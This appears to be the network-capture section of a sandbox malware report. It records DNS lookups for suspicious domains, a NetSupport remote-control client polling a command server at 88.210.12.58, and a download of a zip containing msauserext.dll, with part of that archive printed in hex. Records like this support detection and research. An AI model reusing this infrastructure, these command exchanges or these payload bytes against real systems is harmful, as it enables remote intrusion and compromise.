Dec 10, 2024 08:58:34.013458014 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.013535023 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.032028913 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.032145977 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.064472914 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.064575911 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.139825106 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.139925957 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.154545069 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.154637098 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.164884090 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.164966106 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.174607992 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.174678087 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.184283972 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.184339046 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.194327116 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.194396019 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.199851036 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.199927092 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.206317902 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.206382036 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.211841106 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.211903095 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.217524052 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.217592001 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.224874973 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.224951029 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.331808090 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.331921101 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.337827921 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.337903023 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.342914104 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.343004942 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.347873926 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.347975969 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.352387905 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.352474928 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.358439922 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.358525038 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.363145113 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.363253117 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.367762089 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.367866039 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.373745918 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.373815060 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.377767086 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.377866983 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.383769035 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.383876085 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.388343096 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.388443947 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.393105030 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.393208027 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.397677898 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.397742987 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.403711081 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.403824091 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.408443928 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.408509016 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.524070978 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.524188995 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.528819084 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.528886080 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.532983065 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.533047915 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.537395954 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.537494898 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.540184021 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.540249109 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.543898106 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.543989897 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.547578096 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.547673941 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.552330017 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.552427053 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.556284904 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.556351900 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.560254097 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.560316086 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.563937902 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.564032078 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.567998886 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.568063974 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.572432995 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.572496891 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.576121092 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.576215982 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.579859972 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.579921961 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.583551884 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.583643913 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.714862108 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.714997053 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.718214989 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.718292952 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.721760035 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.721858025 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.725291967 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.725358009 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.729629993 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.729693890 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.733189106 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.733268976 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.736627102 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.736700058 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.741054058 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.741128922 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.744491100 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.744556904 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.748450041 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.748507977 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.751898050 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.751967907 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.755424023 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.755481958 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.758860111 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.758949041 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.765029907 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.765091896 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.766885042 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.766948938 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.775867939 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.775938034 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.905884981 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.906061888 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.908607006 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.908674002 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.913096905 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.913300991 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.916515112 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.916588068 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.920070887 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.920141935 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.924500942 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.924587965 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.928371906 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.928442955 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.931441069 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.931526899 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.934871912 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.934946060 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.939335108 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.939408064 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.942316055 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.942378998 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.946754932 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.946811914 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.950144053 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.950203896 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.953686953 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.953752041 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.958158016 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.958214998 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.961730957 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.961803913 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:34.965235949 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:34.965302944 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.099853992 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.099924088 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.104358912 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.104435921 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.107986927 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.108059883 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.111172915 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.111247063 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.114559889 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.114635944 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.119055986 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.119134903 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.122621059 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.122698069 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.126014948 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.126079082 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.130599022 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.130687952 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.133440971 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.133498907 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.135607004 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.135653019 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.135662079 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.135674953 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.135705948 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.135735989 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.153899908 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.153919935 CET	443	49857	23.254.224.41	192.168.2.5
Dec 10, 2024 08:58:35.153928995 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.153975010 CET	49857	443	192.168.2.5	23.254.224.41
Dec 10, 2024 08:58:35.851860046 CET	49865	3785	192.168.2.5	88.210.12.58
Dec 10, 2024 08:58:35.971528053 CET	3785	49865	88.210.12.58	192.168.2.5
Dec 10, 2024 08:58:35.971729994 CET	49865	3785	192.168.2.5	88.210.12.58
Dec 10, 2024 08:58:36.085618019 CET	49869	80	192.168.2.5	104.26.0.231
Dec 10, 2024 08:58:36.088915110 CET	49865	3785	192.168.2.5	88.210.12.58
Dec 10, 2024 08:58:36.204974890 CET	80	49869	104.26.0.231	192.168.2.5
Dec 10, 2024 08:58:36.205049038 CET	49869	80	192.168.2.5	104.26.0.231
Dec 10, 2024 08:58:36.205456018 CET	49869	80	192.168.2.5	104.26.0.231
Dec 10, 2024 08:58:36.208369017 CET	3785	49865	88.210.12.58	192.168.2.5
Dec 10, 2024 08:58:36.324753046 CET	80	49869	104.26.0.231	192.168.2.5
Dec 10, 2024 08:58:37.210413933 CET	3785	49865	88.210.12.58	192.168.2.5
Dec 10, 2024 08:58:37.212775946 CET	49865	3785	192.168.2.5	88.210.12.58
Dec 10, 2024 08:58:37.332108021 CET	3785	49865	88.210.12.58	192.168.2.5
Dec 10, 2024 08:58:37.603517056 CET	3785	49865	88.210.12.58	192.168.2.5
Dec 10, 2024 08:58:37.633193970 CET	80	49869	104.26.0.231	192.168.2.5
Dec 10, 2024 08:58:37.633282900 CET	49869	80	192.168.2.5	104.26.0.231
Dec 10, 2024 08:58:37.654623985 CET	49865	3785	192.168.2.5	88.210.12.58
Dec 10, 2024 08:58:37.804897070 CET	49865	3785	192.168.2.5	88.210.12.58
Dec 10, 2024 08:58:37.924567938 CET	3785	49865	88.210.12.58	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 10, 2024 08:58:22.034070015 CET	61541	53	192.168.2.5	1.1.1.1
Dec 10, 2024 08:58:22.262923956 CET	53	61541	1.1.1.1	192.168.2.5
Dec 10, 2024 08:58:35.666821003 CET	57428	53	192.168.2.5	1.1.1.1
Dec 10, 2024 08:58:35.804672956 CET	53	57428	1.1.1.1	192.168.2.5
Dec 10, 2024 08:58:35.891145945 CET	58296	53	192.168.2.5	1.1.1.1
Dec 10, 2024 08:58:36.028695107 CET	53	58296	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 10, 2024 08:58:22.034070015 CET	192.168.2.5	1.1.1.1	0x9e4d	Standard query (0)	cycleconf.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 08:58:35.666821003 CET	192.168.2.5	1.1.1.1	0x718b	Standard query (0)	ganeres1.com	A (IP address)	IN (0x0001)	false
Dec 10, 2024 08:58:35.891145945 CET	192.168.2.5	1.1.1.1	0x35b2	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 10, 2024 08:58:22.262923956 CET	1.1.1.1	192.168.2.5	0x9e4d	No error (0)	cycleconf.com	23.254.224.41	A (IP address)	IN (0x0001)	false
Dec 10, 2024 08:58:35.804672956 CET	1.1.1.1	192.168.2.5	0x718b	No error (0)	ganeres1.com	88.210.12.58	A (IP address)	IN (0x0001)	false
Dec 10, 2024 08:58:36.028695107 CET	1.1.1.1	192.168.2.5	0x35b2	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Dec 10, 2024 08:58:36.028695107 CET	1.1.1.1	192.168.2.5	0x35b2	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false
Dec 10, 2024 08:58:36.028695107 CET	1.1.1.1	192.168.2.5	0x35b2	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cycleconf.com

88.210.12.58connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

88.210.12.58connection: keep-alivecmd=encdes=1data=u2hr4]%y-=id3wi7?=@ff&t[6ralqzd-ed#rtr5=ifp">0mqyz8a1v{r?(+he<kua]&k=jwe*9w_z8a ]

88.210.12.58connection: keep-alivecmd=encdes=1data=l3<(t{evk9|||$(m$czen>j"bml`

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49865	88.210.12.58	3785	828	C:\Users\user\AppData\Local\DNScache\client32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 08:58:36.088915110 CET	216	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 88.210.12.58Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:
Dec 10, 2024 08:58:37.210413933 CET	224	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.92 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 69Connection: Keep-AliveCMD=ENCDES=1DATA=g+${ \W[R7)^\d8=M`sM6 Data Raw: Data Ascii:
Dec 10, 2024 08:58:37.212775946 CET	426	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 232Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr4]%y-=ID3Wi7?=@Ff&t[6raLqZD-eD#rtr5=Ifp">0MQYz8A1V{r?(+hE<KuA]&k=JwE*9W_z8A ] Data Raw: Data Ascii:
Dec 10, 2024 08:58:37.603517056 CET	309	IN	HTTP/1.1 200 OKServer: NetSupport Gateway/1.92 (Windows NT)Content-Type: application/x-www-form-urlencodedContent-Length: 154Connection: Keep-AliveCMD=ENCDES=1DATA=u2hr \WhE=I=n~2I[=I_T&=n&Z=n#Lqf3m#VWi6%<o`/$aOUw7?=@\|-% Data Raw: Data Ascii:
Dec 10, 2024 08:58:37.804897070 CET	270	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 76Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=l3<(T{EVk9\|\|\|$(m$CZeN>j"Bml` Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49869	104.26.0.231	80	828	C:\Users\user\AppData\Local\DNScache\client32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2024 08:58:36.205456018 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 10, 2024 08:58:37.633193970 CET	986	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 07:58:37 GMT Content-Type: text/html; Charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8efbb0da1e3d32fc-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: private Set-Cookie: ASPSESSIONIDSAQDRQAT=BMPGNGJDFOEKOPBFHPOKNOFL; path=/ cf-apo-via: origin,host X-Frame-Options: SAMEORIGIN X-Powered-By: ASP.NET Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M3ioDah2ZJKU1puf%2BeFi9n30GzkZ02qSJ0T9z6GpzOgGX4hkFODmWXl8vo8kBGSCPOBorjkHDKnolMDokV73AvBA8bfj90nlvbsQHC8CZ0fHlbboFtbm21LESnD%2Ff7wZtbC9cWd83x3acAvt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1809&rtt_var=904&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=224&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 30 0d 0a 34 30 2e 37 33 35 37 2c 2d 37 34 2e 31 37 32 34 0d 0a 30 0d 0a 0d 0a Data Ascii: 1040.7357,-74.17240

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49831	23.254.224.41	443	2972	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 07:58:24 UTC	55	OUT	GET /dwnld/2nd2_1.zip HTTP/1.1 Host: cycleconf.com
2024-12-10 07:58:24 UTC	262	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 07:58:24 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 24 Jul 2024 21:12:22 GMT Accept-Ranges: bytes Content-Length: 41029 Vary: Accept-Encoding Content-Type: application/zip
2024-12-10 07:58:24 UTC	7930	IN	Data Raw: 50 4b 03 04 14 00 00 00 08 00 7c 8b 14 53 cd 14 86 d9 ca 1f 00 00 00 4a 00 00 0e 00 00 00 6d 73 61 75 73 65 72 65 78 74 2e 64 6c 6c ed 7c 0d 78 53 d7 95 e0 95 2c 81 00 1b 0b 62 83 43 1c 50 8a 49 dc 00 ce 93 25 db 92 7f b0 8c 2d 07 1a db c8 ff 90 60 6c 61 3d 23 39 b2 ac 48 ef 11 9c 85 8e 13 e3 2d ca 8b 3b 6c 9a 6e 33 1d 3a 1b 20 db a6 6d b6 93 4c 99 86 7a d2 46 60 82 0d 21 59 a7 cd 26 24 a1 1d 37 e3 4c 45 ed 4d 9d 29 05 87 38 68 cf b9 ef ea c7 7f 34 9d f9 f6 fb f6 db e6 f1 dd 7b df 3d e7 dc 73 cf cf fd 39 57 be 8f ca fb 0f 93 04 42 88 0a 52 38 4c c8 49 22 3f 16 f2 a7 9f 09 48 4b d7 f4 2f 25 27 16 bd 7e c7 49 45 c5 eb 77 d4 39 5d 7e 9d d7 d7 b9 c7 67 ef d0 b5 da 3d 9e 4e 41 b7 9b d7 f9 44 8f ce e5 d1 95 6d ab d5 75 74 3a f8 ac a4 a4 c5 19 8c c7 ab bf 7c 81 Data Ascii: PK\|SJmsauserext.dll\|xS,bCPI%-`la=#9H-;ln3: mLzF`!Y&$7LEM)8h4{=s9WBR8LI"?HK/%'~IEw9]~g=NADmut:\|
2024-12-10 07:58:24 UTC	8000	IN	Data Raw: f5 e5 fa 2a fd df e8 5f 02 5b 7f a8 9f d2 2f cb ce 31 54 82 85 ce 1a 7e 63 30 1a 77 1a 7d c6 1e d0 fe 98 f1 07 c6 a0 71 c8 38 6e fc a3 b1 30 67 73 ce 96 9c e7 72 fe 47 ce 2b 39 bf ca f9 38 e7 5a ce 77 73 cf e4 fe 32 f7 52 ee 87 b9 d7 73 93 f3 56 e7 dd 99 77 4f 5e 4e 5e 4d de b1 bc ef e5 5d c8 fb 5f 79 23 79 bf cd fb 24 2f 9c a7 36 2d 31 2d 33 ad 34 ad 36 ad 33 6d 30 19 4c f9 a6 12 d3 16 93 cd b4 dd d4 62 72 9b 44 d3 23 a6 6e d3 e3 a6 a7 4c cf 9a 4e 98 fa 4d af 82 4d df 31 fd d6 34 61 fa cc 94 60 5e 64 4e 36 a7 98 ef 30 67 9b 4d 66 bb 79 8f b9 c3 fc 90 f9 b0 f9 69 f3 11 f3 b3 e6 e7 cc 2f 98 4f 98 5f 36 07 c1 fe 17 cc 6f 99 2f 82 0f 46 cd e3 e6 09 f0 c2 86 7c 2e 1f bf 13 c4 58 47 1e e1 85 1c b1 c9 df 16 8e 72 f2 df b4 12 09 fb 3f 72 fe 3f 7f fe 0f 50 4b 03 Data Ascii: *_[/1T~c0w}q8n0gsrG+98Zws2RsVwO^N^M]_y#y$/6-1-3463m0LbrD#nLNMM14a`^dN60gMfyi/O_6o/F\|.XGr?r?PK
2024-12-10 07:58:24 UTC	8000	IN	Data Raw: 84 2f 75 c5 40 7a 17 c6 81 8e 40 a2 1a d1 31 ce 8e 33 a6 1f 0e 5c e7 76 fe a1 9a 00 a0 6a 26 ca d8 28 73 45 19 17 65 9e 28 f3 42 19 1f 65 3e 28 1b 84 b2 21 28 23 51 16 80 32 09 64 46 b7 cd 9e 28 df 8a f3 9d 9e c8 bf b8 ed 85 5b f5 1a 94 55 42 e6 e8 0f 90 63 12 d5 d8 e4 99 21 75 55 a2 de b0 7c 97 36 77 9a d3 08 c6 79 4c 5b 89 51 50 0d 46 d7 72 02 6b a0 16 29 1c af 11 d4 38 ce ca 4b 87 02 e6 07 e5 1f 01 63 75 14 30 d9 e8 16 99 8a 94 78 72 ed bf d2 a7 97 94 47 d3 0d 9f ea 00 59 ae 50 dc ed 81 a4 43 2f 6d 17 a9 39 c0 41 45 d6 3d c3 62 41 f1 08 08 e6 0f 5e 9b 60 1c c7 23 3b 9c 1f a1 8d 1b 5b 74 31 d1 b8 ed 34 ac 7d 15 1f 9e 83 5c da e7 3c 38 4d 43 77 ad 06 40 b5 dc b1 04 57 cb 84 cc f2 d5 53 ac 81 36 0a 09 18 51 ad b2 1c 82 51 44 35 c6 f2 f3 d0 d1 58 7e 09 e7 Data Ascii: 